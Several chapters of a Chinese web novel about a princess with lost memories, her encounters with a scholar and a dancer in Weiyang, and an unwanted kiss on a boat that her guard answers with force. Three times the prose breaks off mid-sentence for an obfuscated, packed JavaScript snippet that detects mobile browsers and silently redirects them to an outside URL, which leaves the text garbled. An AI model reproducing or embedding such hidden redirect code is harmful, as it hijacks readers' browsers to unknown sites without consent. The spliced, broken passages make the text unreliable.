暖暖掏出碎银准备抛上台去打赏,于文则连忙拦下来,说道:“这里不是这样的规矩,来的都是文人雅客,不落俗套,诶?你怎么知道要打赏?也去过……这样的地方?” “大概没有,我也不知道我从哪里知道的。” 于文则小声说道:“也是,你怎么会去过,陛下将你护得那样严实,再者,听闻长右山师规严苛,断然不允许弟子有这般行径。” “也是……等等,你说长右山弟子?我是长右山弟子?” “怎么,连师门都忘记了?你不是说过,教你剑术的人是长右山弟子么?那你当然算长右山弟子。” 暖暖的记忆中,她的剑术是叶皓教的,而叶皓是长右山弟子这件事连叶均都不知道,他怎么会知道?她试探着问道:“你可知教我剑术之人现在在哪里?” “你不是说他归隐山林了么!”于文则说完冲着前方招手。 暖暖向前看去,只见红衣舞姬正朝她们走来,正是昨日船上的那个女子,锦绣。 原来舞姬谢幕后,如飞花一般散入了诸宾客间,继续奉上美酒美食,丝竹声再起,真正的晚宴开始了,一时间酒楼内笑语连连、觥筹交错、饮酒如注。 锦绣毫不避讳地坐在于文则的另一侧,倒了一杯酒敬予于文则,放下酒杯后,问道:“老规矩?” “老规矩,酒多加一坛。”于文则爽快地回答。 锦绣笑盈盈地说道:“好,公子既然带了美人来,奴家就不打扰公子了。” 于文则连声说道:“误会误会,这是我妹妹。” “哦,恕奴家眼拙,自罚一杯。”锦绣说完端起酒杯冲着暖暖点头一笑,将酒一饮而尽。 暖暖对她点头示意,脑中却思忖着:于文则应该不知道事情的详情,但他是如何知道长右山呢?唉!还是不要问了,只怕越问事端越多。 她端起酒杯对锦绣说道:“想必这位就是锦绣姑娘吧,姑娘的舞姿真如神仙下凡,人间难得。” 锦绣立即端起酒杯,回敬道:“小姐过誉了,应该奴家敬小姐才是。” 说完二人碰杯饮酒。 于文则摇着折扇,笑道:“青妹妹,不该敬敬我这东道主吗?要不你哪里能看到如此盛筵。” 居然敢邀功,暖暖白了他一眼,说道:“不想。” 锦绣将三人的酒杯都倒满,出面调停道:“什么敬不敬的,今日相聚便是缘分,咱们共饮此杯。” 酒饮完了,暖暖想着舒雁还在外面,便向二人告辞。 于文则却说道:“急什么?后面还有琴曲。” 暖暖推脱:“太晚了,恐家里人着急。” “好吧,路上小心些。”于文则知道外面自有人接应暖暖,并没有要送她出去的意思。 锦绣嗔怒地看了一眼于文则,说道:“将人带进来了,也不把人送回去,就只顾着自己。” 说完用团扇拍了一下于文则拿着果子的手,然后转向暖暖:“随我来吧。” 锦绣带着她过人群,向大门走去,期间,不少人的目光想在暖暖身上流连,皆被锦绣挡了过去。 门外,舒雁、冰绡并两名侍卫已在等候。 看见这些人,锦绣舒了口气,笑道:“我还担心小姐孤身一人不安全,原来是有人接应,怪不得于公子这样放心。” “我跟他不熟,多谢姑娘送我出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14471872|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,告辞。”说完,带着人向渡口走去。 锦绣摇了两下团扇,轻笑一声,自言自语道:“有点意思。” 次日,惠风和畅,暖暖正待出门,便听见冰绡来报:“于文则公子来了,小厮们没让进来,等公主示下。” 他怎么找到这里来的?暖暖记得并未将住址告知于他,但既然来了便是客人,于是说道:“让他进来吧,到书房等我。” “是。”冰绡得令而去。 舒雁有些担忧:“公主怎么能让他进来,这个住处隐秘,这于公子不是妥帖之人,只怕会带来危险。” “咱们现在就是芸芸众生,现下清明太平,哪里有那么多危险,而且,越是这样防着反倒越容易让人怀疑。”暖暖看着她的担忧,问出心中疑惑:“舒雁,你好像很讨厌他。” “他与师姑娘有过节,还在石城湖边打伤了公主。” 又是过往之事,暖暖放下胭脂,叹了口气:“我不记得了,就当重新认识吧,找个机会将昨日的人情还了,以后少来往吧。” 她起身整理了一下衣裙,来到书房,见于文则正在吃着点心,看着叶均送来的书卷,一副泰然自若的样子。 暖暖清了清嗓子,叫了一声:于公子。 于文则闻言,放下手中的书卷,拍了拍手上的残渣,行礼道:“于文则见过公主殿下。” “免礼,昨日让你破费了,在此谢过,舒雁,取银子来,还给于公子。” “举手之劳罢了,公主何必如此。公主这个地方可真难找,我敲了好几家才打听到的。门口的小厮还不承认,公主看他们那样子,哪里像是小厮。” 看来这里真不安全了,真应该把他打出去,暖暖十分无奈,但出于礼貌,还是笑道:“于公子府费尽心力找来,所为何事?” “来给你送酒,昨日你走得匆忙,没来得及给你。”说完,指来指门口的两个小坛子。 “你自己搬来的?” “可不,我让小厮在巷口等着,我一路搬着酒坛打听,可是把我累坏了。” “怎么不让他送进来。” “我怎敢让外人知道公主居所,来,尝尝酒怎么样?这可是淑清楼的佳酿,不常有,一人一次只能买一小坛。我面子大,锦绣给了我两坛,我都给你带来了,怎么样,够意思吧。”于文则有些得意。 算你小子识相,还知道轻重,暖暖谢道:“多谢你还想着我,只是我不怎么饮酒,你还是带回去吧。” “都拿来了,岂有带回之理。” 暖暖不想与他纠缠,下了逐客令:“于公子,我还有事要出去,改日有时间与请公子畅谈,舒雁,送客。”她说完转身便走。 于文则追上去:“公主要去哪里?我与你同去。” 暖暖脚步不停,说道:“我要去见朋友,你也要同去?” “哦哦……不想你在此处还有朋友。” 暖暖暗中翻了一个白眼,让舒雁赶紧将他送出去,待看着他走出巷口,才出门去。 并叮嘱门口的侍卫:“以后这个人来了,不许入内。” 她后悔没有听舒雁的话,心中将于文则骂了几千遍,害得她听书都迟到了。 106. 浮云游子意 自从知道了有夜市,暖暖几乎不着家。 隅中去茶肆听书、日中小憩、日昳时分去游船赏景,黄昏一到便直奔夜市,人定后方归。 她日日无闲暇,便耽误了教冰绡习字,冰绡甚是不满。 不久,京中送来了许多书卷,暖暖以为是叶均送来的课业,但看了之后发现竟然是叶皓送来的,便丢到一边不予理会。 他自己被捆住也就罢了,现在竟还想拉她下水。 如今是“天高皇帝远”,谁也管不着她。 如此过了半个月,到了立秋时节,期间她遇见过于文则几次,但她的冷脸熄灭不了于文则的热情。 相处过几次,暖暖倒也觉得他除了嘴碎之外,倒也不似舒雁说的那般讨厌。 这日下午,暖暖闲逛之时又遇到了于文则。 于文则见她无事,便邀请道:“锦绣近日谱了新曲,想邀在下去品鉴,公主同在下一起去吧。” 暖暖在茶楼里听的三国正好讲完了,新开的《姬发传》不太合她胃口,正愁没事做,便同意了他的邀请。 二人并舒雁乘船至甘棠湖,停靠渡口后,步行百余步至芙蓉榭。 榭中的琴声随着脚步声的到来而停止,锦绣自榭中款步而出,与二人见了礼:“奴家还以为公子不来了呢,原来是带着妹妹一起来了。” 于文则扇着扇子笑道:“既与你约好,岂有不来之理。” 锦绣请二人落座,又为二人倒了茶后,坐于琴前,抬手抚弦。 水榭中似是燃的栀子香,一股甜腻,暖暖对这浓郁的味道有些不适,便又坐到了临水的一面。 她对琴曲兴致不高,便看起风景来,这水榭三面环水,一面翠柳遮蔽,倒是个清静的地方,若是午饭后在此放舟游玩一番或许不错。 正想着,她的胳膊被于文则用折扇戳了戳,她看向于文则,于文则示意她认真听曲,她这才又看向锦绣。 一曲终了,于文则拍手称赞,暖暖也跟着叫好。 锦绣拿起团扇起身,直言不讳地说道:“小姐没认真听,怎知弹得好不好?” 暖暖有些尴尬,解释道:“我对琴曲不甚了解,只是觉得听着这曲子心情舒畅。” “那奴家这曲子就没有白弹。”锦瑟又转向于文则:“公子再帮奴家看看曲谱,有几处总觉得不顺畅,不能达意。” 二人同去琴前,看着曲谱试音,然后提笔改动,然后再试音。 暖暖看着他二人这般模样,便想起了锦瑟与叶皓,若是锦瑟还在世,若是叶皓没有坐上高位,二人大概也会像这般如此吧。 她痴痴地看着,忽而于文则抬头,对她微微一笑。 二人的目光在空中交汇,暖暖恐被他猜中心思,慌忙将目光转向别处,面上微红。 在于文则看来,她却是秀眉微蹙、目光闪躲,不敢直视于他,他心中一动,目光再难从那凝羞的香靥上错开。 “这里,是不是需要改一下。” 锦瑟的声音将于文则拉了回来,他赶紧低头看曲谱:“是……不是,是后面这一节要改。” 改了几次之后,锦绣终于觉得通顺了,试了一遍琴,笑着向于文则致谢:“多谢公子指正,三日后七夕,淑清楼晚宴,奴家要弹奏此曲,还请公子赏光。” “那是自然。” “奴家明日着人将请帖送至公子的住处,可好?” “好。”于文则向外看看天色:“时候不早了,我要先送妹妹回家,告辞!”说罢起身示意暖暖一同离去。 锦绣将二人送至水榭外。 此时已临近午时,舒雁暗示公主该回去了。 暖暖看此地风景秀丽,想要玩赏一番,此举正合了于文则的意,舒雁却有些焦急,不知暗卫是否还在附近。 于文则说道:“前面有几家食店,做的果子极好,公主可愿去尝尝?” “也好。”暖暖边走边问道:“你与这位锦绣姑娘很熟悉吗,每次晚宴都会给你送请帖。” 于文则摇着扇子:“公主以为是白给的吗?一张请帖三十两。要不她怎么要先问问去不去,而不是直接送帖子。” 暖暖恍然大悟,那日的酒也是锦绣售卖与他的,她调侃道:“看来你在锦绣身上花了不少银子,能让她待你如此特别。” 于文则摆摆扇子否认道:“你可不能这样认为,锦绣自有她的清高,我自有我的雅致。我二人只是友谊,不是你想的那般。” 暖暖对他这托词感到好笑,男女之间怎会有纯粹的友谊。 “你笑什么?怎么?不信?青妹妹贵为公主,常在宅院里,这男子与女子之间一接触,便容易往旖旎的方面去想。不过,你不是说归京之前和一位故人学剑术吗,这朝夕相处的,公主没有和故人生出情愫来,这便是友谊。” 他为何如此说?好像他知道很多似的,暖暖听了很是疑惑:她的剑术不是叶皓教的吗?什么故人?故人是指叶皓吗?他一定知道什么。 但是她不能直接问,问了就会暴露叶皓是长右山弟子之事。 于文则见她若有所思的表情,笑道:“怎么?难道你们之间真有情愫?” “休得胡言!”舒雁听闻此言,上前一步说道。 暖暖拉住舒雁,向于文则坦诚道:“不瞒于兄,我在宫变中受了重创,好些事情都不记得了,刚才你说道故人是谁?” “我也不知道,公主只说他后来归隐了山林,不问世事。” “归隐山林、不问世事。”暖暖重复着这几个字。 于文则见暖暖不像是装的,用扇子点点自己的头,问舒雁道:“公主真的什么也不记得了?” “是的,她也不记得公子你!”舒雁没有好气地说。 于文则恍然大悟:“我说呢,怪不得在这里第一次见面的时候,公主看我的眼神很陌生,我还以为青妹妹对我的误会还未消。” “误会?什么误会?”暖暖又是一阵头大。 于文则趁她没想起来,赶紧解释道:“没有,没有,都过去了。” 暖暖深挖着自己的记忆,想试试能不能记起点什么来,可是只觉得头痛不已,面色也变得难看起来。 她知自己的头疾又犯了,恐坚持不了多久,便对于文则说道:“于兄,今日就游览到这里吧,告辞了。” 说完也不等于文则回应,转身带着舒雁朝渡头走去。 于文则在后面喊道:“等等,我送你回去。” 待他赶到渡口,暖暖与舒雁已上船离开。 路上,暖暖已十分不适,在船上就呕吐了两次,终于回到知春巷的家里,她只觉得十分疲惫、坐都坐不稳。 冰绡赶紧命李戊辰来诊脉。 李戊辰是绣衣使,精通医术,在这里扮作车夫。 他诊过脉之后,说道:“思虑伤神,旧疾复发,又因暑热至热邪内盛,故而肢体困倦。” 舒雁说道:“是中暑吗?人丹丸可管用?有现成的。” 李戊辰摇了摇头:“暑证有阳暑、阴暑、湿暑之分,人丹可解阳暑之症,但看公主这样子,像是去了潮湿闷热之地,致使头痛胸闷。” 舒雁想到水榭之中,的确是潮湿,点点头后又说道:“还有熏香,气味浓烈,不是公主所喜。” 李戊辰思考片刻: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475531|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可有霍香正气散?” 冰绡说道:“有,我这就派人去取。” 绣衣卫在维扬的指挥处内常备各种药剂。 暖暖自离了上宁城就再没饮过一碗药,算来已有半年之久,但是那一碗碗苦药的味道依旧是她的噩梦,她此时已出了好多虚汗,感觉症状好了许多,于是说道:“不必去了,我已无事,准备沐浴。” 冰绡得令,带李戊辰出去了。 舒雁深恨于文则,他就是个灾星,公主每次遇见他都要受灾受难,公主的头疾已很久没有复发,被他三两句话就又勾起来了。 但她恐公主头疾更甚,不敢言说,苦劝公主不要沐浴无果,只得亲自服侍公主沐浴,将门窗关得严实,不停地加热水,避免公主受凉。 她十分不满:“公主该听奴婢一句劝, “这话怎么讲?” “他以前逼迫公主在石城湖边与他比剑,他伤了公主。”舒雁恐公主多想,便没有往深里说。 “他?逼迫我?他倒是胆子挺大……” 热气使暖暖有些喘不上气来:“舒雁,我是中暑了,不是得了风寒,把屋子弄得这样热,我一会晕给你看。” 舒雁坚持己见:“奴婢问过李戊辰了,他说公主虽然是受了热,但不宜受凉,不然会转为……转为阴暑,对,是阴暑。” 暖暖无奈地叹了口气,潦草洗完,出了浴房倒头便睡,一直睡到了日影西沉。 如此,她在家倒是安静了两日。 第三日午后,于文则突然来访。 有了公主之令,外院小厮自然不让进,他无奈只得将请帖让小厮转交。 原来,锦绣让人给于文则送来两份请帖,特意说明请于公子的妹妹前来。 暖暖看着这三十两银子换来的请帖,心想又欠了于文则的人情了,但这人情不能浪费,她梳妆更衣,准备前去赴宴。 夜幕降临、弯月如钩,华灯初上、万家灯火。 今日是七夕节,七夕乞巧之日,维扬城内格外热闹,彩船满河、车马盈市、罗绮满街。 淑清楼外,舒雁又被拦住不能进,暖暖这次有了请帖,淑清楼的小厮又见她衣着不俗,便对她格外的热情,亲自将她引入大堂之内。 暖暖刚落座,于文则便凑了过来,与人换了位置,挨着她坐下,笑问:“怎么这几日都没见到妹妹,可是哪里得罪妹妹了?” “没有,我那日中暑了,在家休息了几日。” “哦,那现在可好些?” “不好怎么能来参加晚宴。” “这倒是……这倒是。” 说话间晚宴开始,开场依旧是锦绣之舞。舞毕,舞者散入宾客间,陪着宾客欣赏接下来的丝竹之乐。锦绣应酬完几个宾客后,来到于文则身侧坐下,于文则倒了杯水递于她,说道:“瞧把你忙的,快喝口水。” 锦绣也不客气,接过水用袖子遮住一饮而尽。 “慢些,至于吗?就为了多卖几坛酒?” “我的于大公子,你可真不知人间疾苦,楼主给了任务,务必要完成。” “你还愁完不成?完不成不还有我呢嘛。”于文则豪爽地拍了拍胸脯。 “怎敢回回劳烦你,你的钱也不是大风刮来的。”继而锦绣压低了声音:“我的自然是能完成,帮帮姐妹们,完不成要受罚的。” 暖暖听着他们这坦荡无私的对话,倒也觉得他们之间真的只是友谊。 锦瑟突然转向暖暖:“呀!小姐今日竟来了,我还担心小姐不肯赏光呢。” 暖暖正将一块鸭肉送入口,听见声音忙将口中的鸭肉吞下,却被噎到。 107. 星辉惊清梦 锦绣被她这有些天真的模样逗笑,递上了一杯水。 暖暖接过,喝了一口将鸭肉顺了下去,才说道:“锦绣姑娘诚心相邀,我自然要来,刚才姑娘的舞姿真是倾国倾城啊。” 锦绣听着这赞扬的套话,淡淡地笑道:“姑娘过誉了。” 于文则察觉出锦绣情绪微妙的变化,打圆场说道:“大家都这么熟稔,不必说这些客套话。” 暖暖笑着点头,但是心里想:熟吗?这只是第三次见面,说不定一会儿就要让我买酒了。 然而,事情并没有像暖暖所预料地发展,几支舞过后,锦绣向于文则和暖暖告辞,该她的独奏了。 四周暗了下来,烛光被投身到舞台中央,一架古琴至于中央,锦绣上台后向宾客行礼致意后,台下宾客安静了下来。 琴弦在她手指下仿佛有了生命一样,跳跃着、舞动着,发出最美妙的旋律。 于文则沉醉期间,似乎随着琴声走入了秋日山林之中,看见了山涧中清澈而悠远流水。 一曲毕,众人皆喝彩,于文则甚至站起来鼓掌,就好似这曲子是他所作一般。 接着,一衣着华丽、身材略微发福的中年男子上台,满脸带笑道:“感谢诸位光临今日的晚宴,歌舞已表演完毕,今夜七夕佳节,城内燃放烟花,本店特意为诸位准备了游船,诸位可乘船观赏。” 众人闻言皆起身,有的去楼后的渡头乘船,有的换了桌继续饮酒,还有的揽着歌舞伎上了楼。 一听有烟花,暖暖感到很兴奋,便要出去乘船,于文则自然相陪。 二人上了船,于文则摇着船桨,小船便缓缓驶离淑清楼。 他们背对着酒楼,未见到到岸上锦绣落寞的身影。 锦绣演奏完便去更衣卸妆,之后便去找于文则,却见他与所谓的“妹妹”上了游船,终究是她痴心妄想了,立即用笑脸掩饰了心中的孤寂,转身迎上其他客人的笑脸。 离岸越远,灯光越暗。 “咚”的一声,空中一颗烟花炸开,接着两颗三颗……城中各处好似得到了信号一般,烟花相继点燃,宛如一朵朵绚丽的花朵在空中绽放,整个天空被照亮。 光影交织,令人陶醉。 看着这情景,暖暖只觉得眼熟,她脑中出现一个画面:她站在楼上,看着远处烟花绽放,她身后立有一人,她向后一靠,便跌入那人温暖坚实的臂弯。 记忆与现实交织,她带着期待的眼神看向身后,想知道那人是谁,但见于文则的笑意盈盈后,她立即明白是自己恍惚了,眼中期待的光芒被失落替代,转回头去继续看烟花。 于文则却看到暖暖这一眼是眉目含情,见她转了头,又以为是她羞怯难当。 此时此刻,于文则只觉天上花千树,岸上鱼龙舞,美景良辰,佳人在侧,他心生旖旎,轻轻唤了声:“青妹妹。” “什么?”暖暖转头看瞥了他一眼。 “在下愿尚公主。”于文则轻松的说,似乎这只是一句再平常不过的话,像一句问候一般简单。 暖暖听了,简直要惊掉了下巴,说道:“开玩笑呢吧!” 于文则见她这态度,急切又认真的说道:“我没开玩笑,当年成王殿下就有意撮合你我二人,我让家父去和殿下提亲,殿下一定会答应。” 见他似乎是认真的,暖暖觉得有些莫名其妙:“你喝多了吧!” “我没有,我现在很清醒,很认真,这些日子相处,你就没有一点喜欢我?” 暖暖摇摇头:“没有!我们是朋友。”这句话一出口,她只觉得很熟悉,她好像对谁说过,心中微微有些发痛。 “为什么?”于文则追问,在他看来,二人已如此熟稔,接下来的事是顺理成章的。 暖暖冷笑道:“哪儿有为什么?你不是说男女之间也可以有朋友样的情谊吗?你我就是这样,是友谊。” 于文则身子稍稍向她靠近一些:“公主和她们不一样……” 他竟然将她与歌舞伎相比,这句话惹怒了暖暖,于是提起公主的傲气,怒道:“我自然不一样,我与这天下的女子都不一样。” 于文则不知这句话会惹恼她,小心道歉:“是我失言,公主是最好的女子。” 暖暖没了心情,只想快快回去,可她不会划船,也不想和于文则说话,二人陷入了一阵沉默。 于文则突然说道:“你看右边那颗星。” 暖暖顺着他说的方向看过去,于文则快速的在她的左脸颊上亲了一口。 他怎会做出如此卑劣之事,暖暖捂着脸,难以置信的看着他,目光也变得厌恶起来,心中愤恨,呵斥道:“放肆!” 她怒不可遏,豁然起身命,令道:“划回去。” 可起身太猛致使船身摇晃,她没站稳,险些摔倒,于文则立即起身,双手揽住她的腰身:“公主,小心。” 暖暖不想与他有接触,挣扎着想甩开他的手,就在此时,冰绡自另一条船上飞身而来,抓过于文则的胳膊将他扔下水去。 暖暖站立不稳,蹲下身去,冰绡又将她安置到船篷内,并检查了有没有受伤。 万万没想到会发生如此一幕,暖暖心中万分委屈,一口气堵在胸口喘不上来。 冰绡万分担忧,拍着她的后背轻声安慰道:“公主,没事了。” 暖暖浑身颤抖起来,说道:“回家。” 冰绡摇着船向最近的渡口划去,于文则在水里挣扎,口鼻进水,想呼救却发不出声来。 扑打水面的声音立即吸引了周围船上人的目光,自人跳下水来救他。 冰绡掏出一粒石子朝于文则头上弹去,于文则没了声音、也不再挣扎。 冰绡带公主上岸,吹了两短一长的哨声,立刻从黑暗处冒出了两名暗卫来。 暖暖披上了黑色的披风,一名暗卫在前开路,冰绡护着暖暖,另一名暗卫断后。 此时,人们都被河面上的动静吸引了目光,没有人注意到她们这一行人。 四人走小巷回到家中,暖暖立即发起高热来。 舒雁追问发生了何事,冰绡一言不语,只叫来李戊辰诊脉。 原来舒雁一直等在淑清楼外,晚宴闭,宾客散尽也未见公主,殊不知公主已至楼后游船去了。 楼中暗卫见公主独自上了于文则的船,便立即传消息给了冰绡,冰绡赶来找到公主行踪后,驾了船一直跟着公主的船附近。 李戊辰诊完脉后说道:“公主是惊吓过度而引发的高热,宜用温水擦拭身体降温,给公主服一粒安神丸,明日再服两剂归脾汤即可。” 众侍女一阵忙碌,终于将她安顿好。 暖暖躺在榻上,直勾勾的盯着床榻的帷幕。 舒雁跪在脚踏上,带着哭腔说道:“公主,公主,你不要吓我呀,到底发生什么事了?” “出去,让我自己安静一会。” “公主……” 暖暖发了脾气:“我说出去!” 舒雁不敢出去,生怕公主再做出什么傻事来,于是站在了屏风后面,小心翼翼的留意里间的动静。 暖暖后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483554|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悔没有听舒雁的劝阻,她这时才理解舒雁过的“恐给公主带来危险”,指的不是于文则会泄露她的身份而引起危险,而于文则本身就是一个危险。 船上的事如噩梦一般挥之不去,她不敢想象如果冰绡不来,会发生什么样的事情。这时她也突然明白了哪些摇晃的厉害的船中发生了什么事。 她越想越怕,用被子将自己全部盖住,蜷起身来,紧紧抱住双腿。 强烈的屈辱感涌上心头,心中后悔、自责又愤恨,可此等事情又不能言说。 冰绡将安神药端来,轻轻摸了一下被子,暖暖被吓的一哆嗦。 “公主,是属下,药好了。” 暖暖接过药一饮而尽,吩咐她道:“今日之事不许对任何人说。”而后又蜷缩进来被子里。 冰绡叮嘱舒雁好好照顾后公主后,便出去了。 次日,淑清楼因藏匿细作被查封,是绣衣卫亲自办案,维扬府衙也无权插手。 此事一出,轰动全城,城内的一众文人雅客收敛了一些时日,生怕自己与细作有过接触,查到自己头上。 六日之后,于文则又来到了知春巷。 暖暖知道了,告诉舒雁将那两坛酒还给他,让他尽快离开。 于文则并不听,从午时等到了傍晚,冰绡气急,拿着酒坛摔在了于文则跟前。 于文则头上缠着布条,那被石子打的伤口还没痊愈,见终于有人理他,赶紧上前说道:“我是来和青妹妹……不,公主,道歉的。那日是我唐突了……我不是有意的。” 冰绡用剑将他抵到墙上,说道:“我不管你是不是皇室宗亲,若此事还有第三人知道,小心你一家老小的性命。” “你……你……”于文则不信一个小小的侍卫竟敢说出这番话来,但那剑也确确实实的贴在他脖颈处,他不敢多言。 “公主因病已经半月未出门,更不曾与你一起赴宴,记住了吗?”冰绡说完拔出来半截剑。 寒光一闪,于文则心中一惊,但故作镇定,承诺道:“自然不会,是我对不住公主,此次我是来辞行的,请替我转告公主,京中命我去益州公干,不知何时还能再见,请公主珍重。” “滚!”冰绡言简意赅,收了剑退后一步。 她立即命人打水清洗门庭,看着于文则的背影,恨恨的想:算你命大,别在落到我手里。 当日之事后,冰绡便给叶皓传了消息:只说于文则与公主在淑清楼饮酒后,出门受了风寒,此乃于文则之失,宜尽快将其调离。 叶皓未深究,回想之前的事,恐他再伤害暖暖,便将于文则安排了去益州视察水文。 和于文则同去的还有季萧,他接到密诏,命他益州收药材。 那日,弹到于文则头上的石子差点要了他的命,他被淑清楼的人捞起来后,锦绣为他请了郎中,又照顾了他一夜。 次日一早于文则离开后,绣衣卫便查封了淑清楼。 他自然猜到是此举是为了保护公主,他在住所忧心了几日,不知京中会如何处理他,他还不知道的是绣衣使在他的住外一直在监视他。 奇怪的是,京中送来的旨意,只是命他去益州视察水文,他心中感激叶青留的颜面,想着走之前该给公主道个歉,未料连面都没有见到。 暖暖自然不知道这些事情,自那晚回来后,她病了两日,然后就再没有出过门。 她将叶皓送来的书重新拾起,每日都在书房抄写,有时她会看着一个字、一段文章发呆很久,觉得自己的心空了一块,不知该怎样能填满。 108. 无巧不成书 如此过了月余,舒雁每每见公主发呆,便十分担忧,担忧她又会回到在宫里时的样子,于是变着法地从外面买来各种小食哄她高兴。 近来天阴了好些时日,时不时地落些小雨,白露这日一早,天终于晴了起来。 暖暖站在院子里看着久违的阳光,觉得自己该出去,晒一晒身上的霉气。 自季萧走后,绣衣卫东路的事全都交给了冰绡一人,这使她十分忙碌,但是仍会抽时间跟着公主习字。 今日她本想去绣衣卫分部处理事情,但听公主说要出门,恐再生事端,便亲自跟随。 三人出了巷子租了船,由冰绡划着顺河流没有方向地漂着。 暖暖漫不经心地看着两岸的商铺,南货水果、时令杂卖、首饰绸缎,真是物阜民丰。挑着担的货郎徐步慢行,后面追着几个欢笑着的孩童,到处都是一片吉祥如意。 不知不觉船竟行至甘棠湖。 今日天气好,有不少游船,冰绡有意避开游船,便向岸边划去。 暖暖看着地方好生熟悉,环顾四周,想起来这是芙蓉榭。 船越来越近,隐隐听见水榭上传来琴声,听音色感觉是锦绣在弹奏,便命冰绡靠了岸。 上了水榭,门虚掩着,她轻轻叩门。 里面果然是锦绣应声:“请进!” 暖暖推门而入,见锦绣坐于琴前,精致的鹅蛋脸上略施粉黛,眉如柳叶、眼含秋水,一身水色轻纱衣裙,半挽发髻,肌肤胜雪,娇美无比。 见是暖暖进来,锦绣有些惊讶:“怎么是你?进来坐吧。” “路过此处,听见琴声便进来看看。怎么?你在等人?” “是啊,约了人来听琴,于公子怎么没和你一起?” 暖暖没有回答。 “你们吵架了?” 暖暖摇头,不知该如何回答。 “别瞒着我啦!那日他被捞起来,我照顾了她一夜,他梦里还在叫着‘青妹妹’。我说你也够狠心的,他落水受伤,多么危险的事,你竟然不管不顾。” “我们只是认识。”想起那日的事,暖暖甚至不想称他为“朋友”。 听闻此言,锦绣起身,坐到暖暖身边,为她倒了杯水,调侃道:“青姑娘这几句话倒是与他撇得干净,可他看你的眼神,哪里是看朋友的眼神。” “那是他,我没有这个意思。” “那你怎么七夕那日和他上了一条船?” “我怎知那船……我只以为那只是赏烟花的船。”暖暖的声音越说越小。 锦绣用团扇掩着嘴笑了出来:“还真是单纯,奴家还是好奇,这么个翩翩公子怎么就惹恼了你?” 暖暖听锦绣对他的评价还不错,不禁问道:“于文则……他是一个怎样的人?” 锦绣叹了口气说道:“你真不了解他呀!不了解他还敢跟他赴宴游船,胆子也太大了吧。于公子呢,是个正人君子,与人交往、诚而有信。与我们这些人来往,亦只如与里巷之人来往一般,不落情愫、自有嘉礼。” 或许是因锦绣仰慕于文则,故而对她评价如此之高吧,这话暖暖只相信五分。 锦绣看看天色,说道:“唉,只顾与你说话了,奴家的客人要来了。” “你什么时候有时间,我可以过来听琴曲吗?” “你去下面偏房找小蝶,她给你安排时间。”锦瑟说完坐回原处,开始试琴。 “你不回淑清楼了?” 锦瑟向她投去疑惑的眼神:“淑清楼被查封,责令整改,这么大的事,你不知道?” 这倒是出乎暖暖的意料,她摇摇头:“我病了些时日,没有出门。” 锦绣压低了声音:“说是出来细作,可一直未查到结果,我现在没有地方去,只能暂住在这里,为人弹些曲子糊口,好了,快走吧。” 暖暖出了水榭,找到了锦绣的丫头,小蝶,一个梳着双丫髻的十二三岁的小姑娘。 小蝶数着对牌,对她说道:“明日下午、后日下午都有时间,一两银子一个时辰。” 以前想听锦绣一曲,有银子不行还要有面子,现在离了淑清楼,身价便也没那么高了。 暖暖转身向舒雁要了五两银子,给那丫头:“五日的钱。” 小蝶拿了五块写着日期的对牌交给舒雁。 二人转身欲走时,一个小厮进来交还对牌,小蝶收了后引着人出去了。 暖暖亦跟出去,只见小蝶对外面一个身着茄色绸衫的中年男子行了一礼,而后将他带上了水榭。 舒雁鄙夷了看了一眼她们的背影。 回到船上暖暖问她:“你为什那样看他们?” 舒雁犹豫了一下,说道:“公主看那男子,哪里像是懂琴曲的人。” 暖暖意会,没再继续问下去,回望水榭,只见窗户紧闭,没有听见琴声,她心中默默地叹了口气。 对公主如此交友,舒雁有些不满:“公主不要再来了,刚才的银子就算赏给她们了。”说完便将对牌全扔进了水里。” 暖暖随手捞了一颗浮萍,笑道;“你近来越发胆大了,连我的事都要做主,冰绡,这该如何处置?” 冰绡面无表情地说道:“鞭刑或杖责。” 舒雁义正言辞:“即便是受罚,奴婢也不愿公主与这样的人交往。公主还记得锦瑟吗?她曾经将陛下害成了什么样!” “锦瑟、锦瑟……”暖暖在心中重复着这个名字,猛然间她发现这个名字与“锦绣”很相似,会不会她们有什么关系?她将疑惑说与她们二人。 冰绡解释道:“歌舞伎都有自己的花名,多用富丽华贵的字眼,重名的也多。” 暖暖点点头,随即又想到“细作”一事,便问冰绡:“淑清楼是不是你们查封的?” “是。”冰绡毫不避讳地承认了。 “因为细作?”暖暖都不相信这个缘由,早不查晚不查,偏偏要在她出事后的第二日就查,她觉得其中一定有自己的原因。 冰绡并不隐瞒:“因为涉及到了公主安危。” 与冰绡说话就是简单,直来直去,知道了真相,暖暖有些愧疚。 第二日日跌之时,暖暖抱着琴来到了芙蓉榭。 